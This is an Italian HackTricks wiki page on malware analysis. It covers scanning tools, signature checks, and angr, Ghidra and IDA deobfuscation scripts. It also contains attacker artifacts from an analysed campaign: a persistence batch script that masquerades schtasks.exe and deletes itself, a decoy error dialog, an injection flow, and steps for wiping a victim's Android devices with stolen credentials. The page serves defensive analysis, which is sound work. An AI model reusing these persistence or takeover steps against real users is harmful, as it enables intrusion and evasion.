Analisi Malware

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

CheatSheets per l’analisi forense

https://www.jaiminton.com/cheatsheet/DFIR/#

Servizi Online

Strumenti antivirus e di rilevamento offline

Yara

Installazione

sudo apt-get install -y yara

Preparare le regole

Usa questo script per scaricare e unire tutte le yara rules per malware da GitHub: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crea la directory rules ed eseguilo. Questo creerà un file chiamato malware_rules.yar che contiene tutte le yara rules per malware.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scansione

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Controllare il malware e creare yara rules

Puoi usare lo strumento YaraGen per generare yara rules da un binario. Consulta questi tutorial: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Installazione

sudo apt-get install -y clamav

Scansione

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa rileva potenziali capabilities malevole in eseguibili: PE, ELF, .NET. Quindi individua elementi come tattiche Att&ck, o capabilities sospette come:

  • verifica la presenza dell’errore OutputDebugString
  • esegui come servizio
  • crea processo

Lo trovi nel Github repo.

IOCs

IOC significa Indicator Of Compromise (Indicatore di Compromissione). Un IOC è un insieme di condizioni che identificano qualche software potenzialmente indesiderato o malware confermato. I Blue Teams usano questo tipo di definizione per cercare questo tipo di file maligni nei loro sistemi e reti.
Condividere queste definizioni è molto utile: quando un malware viene identificato su un computer e viene creato un IOC per quel malware, altri Blue Teams possono usarlo per identificare il malware più velocemente.

Uno strumento per creare o modificare IOC è IOC Editor.
Puoi usare strumenti come Redline per cercare IOC definiti su un dispositivo.

Loki

Loki è uno scanner per semplici indicatori di compromissione.
La rilevazione si basa su quattro metodi:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) è uno scanner di malware per Linux rilasciato sotto la licenza GNU GPLv2, progettato per affrontare le minacce presenti in ambienti di hosting condiviso. Utilizza dati sulle minacce provenienti da sistemi di intrusion detection ai bordi della rete per estrarre malware impiegato attivamente negli attacchi e genera firme per la rilevazione. Inoltre, i dati sulle minacce sono anche ricavati dalle segnalazioni degli utenti tramite la funzionalità LMD checkout e dalle risorse della community malware.

rkhunter

Strumenti come rkhunter possono essere usati per controllare il filesystem alla ricerca di possibili rootkits e malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS è uno strumento che proverà a trovare stringhe obfuscated all’interno di eseguibili usando diverse tecniche.

PEpper

PEpper controlla alcune informazioni di base all’interno dell’eseguibile (dati binari, entropia, URL e IP, alcune yara rules).

PEstudio

PEstudio è uno strumento che permette di ottenere informazioni sugli eseguibili Windows come imports, exports, headers, ma verificherà anche virus total e individuerà potenziali tecniche Att&ck.

Detect It Easy(DiE)

DiE è uno strumento per rilevare se un file è encrypted e anche per trovare packers.

NeoPI

NeoPI è uno script Python che utilizza varie metodologie statistiche per rilevare contenuti obfuscated e encrypted all’interno di file di testo/script. Lo scopo previsto di NeoPI è aiutare nella detection di hidden web shell code.

php-malware-finder

PHP-malware-finder fa del suo meglio per rilevare obfuscated/dodgy code così come file che utilizzano funzioni PHP spesso usate in malwares/webshells.

Apple Binary Signatures

Quando si controlla un campione di malware dovresti sempre verificare la firma del binario, poiché lo sviluppatore che l’ha firmato potrebbe essere già collegato al malware.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Tecniche di rilevamento

File Stacking

Se sai che una cartella contenente i file di un web server è stata aggiornata l’ultima volta in una certa data, controlla la data in cui tutti i file del web server sono stati creati e modificati e se qualche data è sospetta, verifica quel file.

Baselines

Se i file di una cartella non avrebbero dovuto essere modificati, puoi calcolare l’hash dei file originali della cartella e confrontarli con quelli correnti. Qualsiasi modifica sarà sospetta.

Analisi statistica

Quando le informazioni sono salvate nei log puoi controllare statistiche come quante volte ciascun file di un web server è stato accesso, dato che una web shell potrebbe essere uno dei file più richiesti.

Android in-app native telemetry (no root)

Su Android puoi instrumentare il codice nativo all’interno del processo dell’app target precaricando una piccola libreria logger prima che altre lib JNI si inizializzino. Questo dà visibilità precoce sul comportamento nativo senza hook a livello di sistema o root. Un approccio popolare è SoTap: inserire libsotap.so per l’ABI corretta nell’APK e iniettare una chiamata System.loadLibrary(“sotap”) all’inizio (es., static initializer o Application.onCreate), quindi raccogliere i log da percorsi interni/esterni o come fallback da Logcat.

Vedi la pagina Android native reversing per dettagli di setup e percorsi dei log:

Reversing Native Libraries

Android/JNI native string deobfuscation with angr + Ghidra

Alcuni malware Android e app protette da RASP nascondono i nomi e le signature dei metodi JNI decodificandoli a runtime prima di chiamare RegisterNatives. Quando l’instrumentation con Frida/ptrace viene interrotta da anti-debug, puoi comunque recuperare il testo in chiaro offline eseguendo il decoder presente nel binario con angr e poi riportando i risultati in Ghidra come commenti.

Idea chiave: trattare il decoder dentro il .so come una funzione callable, eseguirlo sui blob di byte offuscati in .rodata e concretizzare i byte di output fino al primo \x00 (terminatore C-string). Mantieni angr e Ghidra con la stessa image base per evitare mismatch di indirizzi.

Panoramica del workflow

  • Triage in Ghidra: identifica il decoder e la sua calling convention/argomenti in JNI_OnLoad e nella configurazione di RegisterNatives.
  • Esegui angr (CPython3) per eseguire il decoder per ogni stringa target e dumpare i risultati.
  • Annota in Ghidra: auto-commenta le stringhe decodificate in ogni call site per una rapida ricostruzione JNI.

Ghidra triage (JNI_OnLoad pattern)

  • Applica i JNI datatypes a JNI_OnLoad in modo che Ghidra riconosca le strutture JNINativeMethod.
  • Tipico JNINativeMethod secondo la documentazione Oracle:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Cerca chiamate a RegisterNatives. Se la libreria costruisce name/signature con una routine locale (es., FUN_00100e10) che fa riferimento a una tabella statica di byte (es., DAT_00100bf4) e prende parametri come (encoded_ptr, out_buf, length), quello è un target ideale per esecuzione offline.

angr setup (execute the decoder offline)

  • Carica il .so con la stessa base usata in Ghidra (esempio: 0x00100000) e disabilita l’auto-loading delle librerie esterne per mantenere lo stato piccolo.
configurazione di angr ed esecuzione offline del decoder ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- Su larga scala, costruisci una mappa statica dei call sites verso gli argomenti del decoder (encoded_ptr, size). I wrapper possono nascondere gli argomenti, quindi potresti creare questa mappatura manualmente dagli xrefs di Ghidra se il recupero delle API è impreciso.

<details>
<summary>Decodifica in batch più call sites con angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Annotare i punti di chiamata in Ghidra Opzione A: scrittore di commenti solo Jython (usa un JSON pre-calcolato)

  • Dal momento che angr richiede CPython3, mantieni separate deobfuscazione e annotazione. Prima esegui lo script angr sopra per produrre decoded_strings.json. Poi esegui questo Jython GhidraScript per scrivere PRE_COMMENTs in ogni punto di chiamata (e includere il nome della funzione chiamante per il contesto):
Ghidra Jython script to annotate decoded JNI strings ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Opzione B: script CPython singolo via pyhidra/ghidra_bridge
- In alternativa, usa pyhidra o ghidra_bridge per pilotare l’API di Ghidra dallo stesso processo CPython che esegue angr. Questo permette di chiamare decode_string() e impostare immediatamente PRE_COMMENTs senza un file intermedio. La logica rispecchia lo script Jython: costruire una mappa callsite→function tramite ReferenceManager, decodificare con angr e impostare i commenti.

Perché funziona e quando usarlo
- L’esecuzione offline aggira RASP/anti-debug: niente ptrace, niente hook Frida necessari per recuperare le stringhe.
- Allineare base_addr di Ghidra e angr (per es., 0x00100000) garantisce che gli indirizzi di funzione/dati corrispondano tra gli strumenti.
- Ricetta ripetibile per i decoder: tratta la trasformazione come una funzione pura, alloca un buffer di output in uno stato nuovo, chiamala con (encoded_ptr, out_ptr, len), poi concretizza via state.solver.eval e parsifica C-strings fino a \x00.

Note e insidie
- Rispetta l’ABI/calling convention target. angr.factory.callable ne sceglie una basata su arch; se gli argomenti sembrano scorrere, specifica cc esplicitamente.
- Se il decoder si aspetta buffer di output azzerati, inizializza outbuf a zeri nello stato prima della chiamata.
- Per .so Android position-independent, fornisci sempre base_addr così gli indirizzi in angr combaciano con quelli visti in Ghidra.
- Usa currentProgram.getReferenceManager() per enumerare call-xrefs anche se l’app nasconde il decoder dietro stub sottili.

Per angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscazione del flusso di controllo dinamico (JMP/CALL RAX Dispatchers)

Le famiglie di malware moderne abusano pesantemente dell’obfuscazione del Control-Flow Graph (CFG): invece di un jump/call diretto calcolano la destinazione a run-time ed eseguono un `jmp rax` o `call rax`. Un piccolo *dispatcher* (tipicamente nove istruzioni) imposta il target finale in funzione dei flag CPU `ZF`/`CF`, rompendo completamente il recupero statico del CFG.

La tecnica – mostrata dal loader SLOW#TEMPEST – può essere sconfitta con un flusso di lavoro in tre passi che si basa solo su IDAPython e sull’emulatore CPU Unicorn.

### 1. Individua ogni jump / call indiretto
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Estrai il byte-code del dispatcher

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emularlo due volte con Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Esegui run(code,0,0) e run(code,1,1) per ottenere i branch targets false e true.

4. Patch back a direct jump / call

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Dopo il patching, forza IDA a rianalizzare la function in modo che il full CFG e l’output Hex-Rays siano ripristinati:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Etichettare chiamate API indirette

Una volta nota la destinazione reale di ogni call rax puoi dire a IDA quale sia in modo che i tipi di parametro e i nomi delle variabili vengano recuperati automaticamente:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Benefici pratici

  • Ripristina il vero CFG → la decompilazione passa da 10 righe a migliaia.
  • Abilita il cross-reference delle stringhe & xrefs, rendendo la ricostruzione del comportamento semplice.
  • Gli script sono riutilizzabili: inseriscili in qualsiasi loader protetto dallo stesso trick.

Loader basati su AutoIt: .a3x decryption, Task Scheduler masquerade and RAT injection

Questo pattern di intrusione concatena un MSI firmato, AutoIt loaders compilati in .a3x, e un’attività di Task Scheduler che si maschera da app legittima.

MSI → azioni personalizzate → AutoIt orchestrator

Albero dei processi e comandi eseguiti dalle azioni personalizzate dell’MSI:

  • MsiExec.exe → cmd.exe per eseguire install.bat
  • WScript.exe per mostrare un dialogo di errore fittizio
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (deposita loader, imposta persistence, si auto-pulisce):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (esca per l’utente):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Key artifacts and masquerade:

  • Deposita AutoIt3.exe e IoKlTr.au3 in C:\Users\Public\Music
  • Copia schtasks.exe in hwpviewer.exe (si maschera come visualizzatore di Hangul Word Processor)
  • Crea un’attività pianificata “IoKlTr” che viene eseguita ogni 1 minuto
  • Collegamento di avvio (LNK) visto come Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Colloca moduli sotto %APPDATA%\Google\Browser\ in sottocartelle contenenti adb o adv e li avvia tramite gli helper autoit.vbs/install.bat

Forensic triage tips:

  • schtasks enumeration: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Cerca copie rinominate di schtasks.exe nello stesso percorso del Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Percorsi comuni: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Correlare la creazione dei processi: AutoIt3.exe che avvia binary Windows legittimi (ad es., cleanmgr.exe, hncfinder.exe)

AutoIt loaders and .a3x payload decryption → injection

  • I moduli AutoIt sono compilati con #AutoIt3Wrapper_Outfile_type=a3x e decriptano i payload incorporati prima di iniettarli in processi benigni.
  • Famiglie osservate: QuasarRAT (iniettato in hncfinder.exe) e RftRAT/RFTServer (iniettato in cleanmgr.exe), così come moduli RemcosRAT (Remcos\RunBinary.a3x).
  • Schema di decrittazione: derivare una chiave AES tramite HMAC, decriptare il blob incorporato, quindi iniettare il modulo in chiaro.

Generic decryption skeleton (exact HMAC input/algorithm is family-specific):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Flusso comune di injection (CreateRemoteThread-style):

  • CreateProcess (suspended) del processo target (es. cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory con modulo/shellcode decrittato
  • CreateRemoteThread o QueueUserAPC per eseguire il payload

Idee per hunting

  • AutoIt3.exe con parent MsiExec.exe o WScript.exe che avvia utility di sistema
  • File con estensione .a3x o AutoIt script runners sotto percorsi pubblici/scrivibili dall’utente
  • Scheduled tasks sospetti che eseguono AutoIt3.exe o binari non firmati da Microsoft, con trigger a livello di minuti

Abuso account-takeover di Android Find My Device (Find Hub)

Durante l’intrusione su Windows, gli operatori hanno usato credenziali Google rubate per resettare ripetutamente i dispositivi Android della vittima, sopprimendo le notifiche mentre ampliavano l’accesso tramite il desktop messenger connesso della vittima.

Passi dell’operatore (da una sessione browser con accesso):

  • Controllare Google Account → Security → Your devices; seguire Find My Phone → Find Hub (https://www.google.com/android/find)
  • Selezionare il dispositivo → reinserire la password Google → eseguire “Erase device” (factory reset); ripetere per ritardare il recupero
  • Opzionale: cancellare le e-mail di avviso nella casella collegata (es. Naver) per nascondere le notifiche di sicurezza

Tracciamento dei loader Node.js pesantemente offuscati

Gli attaccanti sempre più spesso incorporano JavaScript loaders dentro binari Windows standalone compilati con nexe, così il runtime viene distribuito assieme allo script. Il PE risultante spesso pesa 60–90 MB ed esegue anche se Node.js non è installato. Durante il triage:

  • Usare nexe_unpacker per estrarre il JavaScript incorporato dal PE e passarlo a tool locali per il confronto statico.
  • Aspettarsi un mutex su disco in %TEMP% (GachiLoader lascia un file casuale <name>.lock che scade dopo ~5 minuti). Copiare il file nella sandbox prima dell’esecuzione permette di saltare fasi ridondanti pur vedendo i payload successivi.

Node.js API tracing per eludere l’anti-analysis

Nodejs-Tracer di Check Point aggancia i moduli core all’interno di qualsiasi processo Node.js, consente di spoofare anti-VM probes e preserva ogni artefatto che il sample scrive. Avviare script offuscati tramite il tracer per mantenere l’instrumentation controllata dall’analista nello stack delle chiamate:

node -r .\tracer.js main.js

Le principali opzioni di configurazione dentro tracer.js consentono di:

  • Registrare l’attività del filesystem, dei child-process e HTTP (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Ogni file rilasciato — come kidkadi.node — viene copiato nella directory di lavoro prima che il malware lo elimini.
  • Sovrascrivere i fingerprint dell’ambiente restituendo conteggi realistici di RAM/CPU, falsificando l’output di tasklist e manomettendo le risposte di PowerShell/WMI. Questo bypassa i loader che richiedono ≥4 GB RAM, ≥2 core, e che esaminano nomi utente (mashinesssss, wdagutilityaccount, ecc.), hostname (desktop-vrsqlag, server1 …) e nomi di processo (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
  • Neutralizzare i controlli hardware WMI come Get-WmiObject Win32_DiskDrive (cerca vmware, kvm, virtio, …), Win32_VideoController (blocca “VirtualBox Graphics Adapter”, “Hyper-V Video”, ecc.) e i conteggi di Win32_PortConnector. Quando queste sonde riportano hardware “reale”, le sandbox non finiscono più nel loop infinito di chiamate Invoke-WebRequest benigne verso linkedin.com, grok.com, whatsapp.com e domini simili che GachiLoader usa per sprecare tempo di analisi.

Capturing gated C2 traffic automatically

Gli hook di rete del tracer rivelano l’autenticazione C2 a più livelli senza dover reverse-engineerare l’offuscamento JavaScript. Nella campagna osservata il loader:

  1. POSTa la telemetria host a /log su ciascun C2 hard-coded.
  2. Emette GET /richfamily/<per-sample key> con X-Secret: gachifamily per recuperare un URL del payload codificato in Base64.
  3. Esegue un ultimo GET a quell’URL con un lungo header X-Secret per-sample; se manca, restituisce 403 Forbidden.

Poiché il tracer registra richieste complete (header, body, destinazioni), puoi riprodurre lo stesso traffico per scaricare i payload, dumpare in memoria shell Themida/VMProtect ed estrarre dati di configurazione di Rhadamanthys su larga scala.

AdaptixC2: Configuration Extraction and TTPs

Vedi la pagina dedicata:

Adaptixc2 Config Extraction And Ttps

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks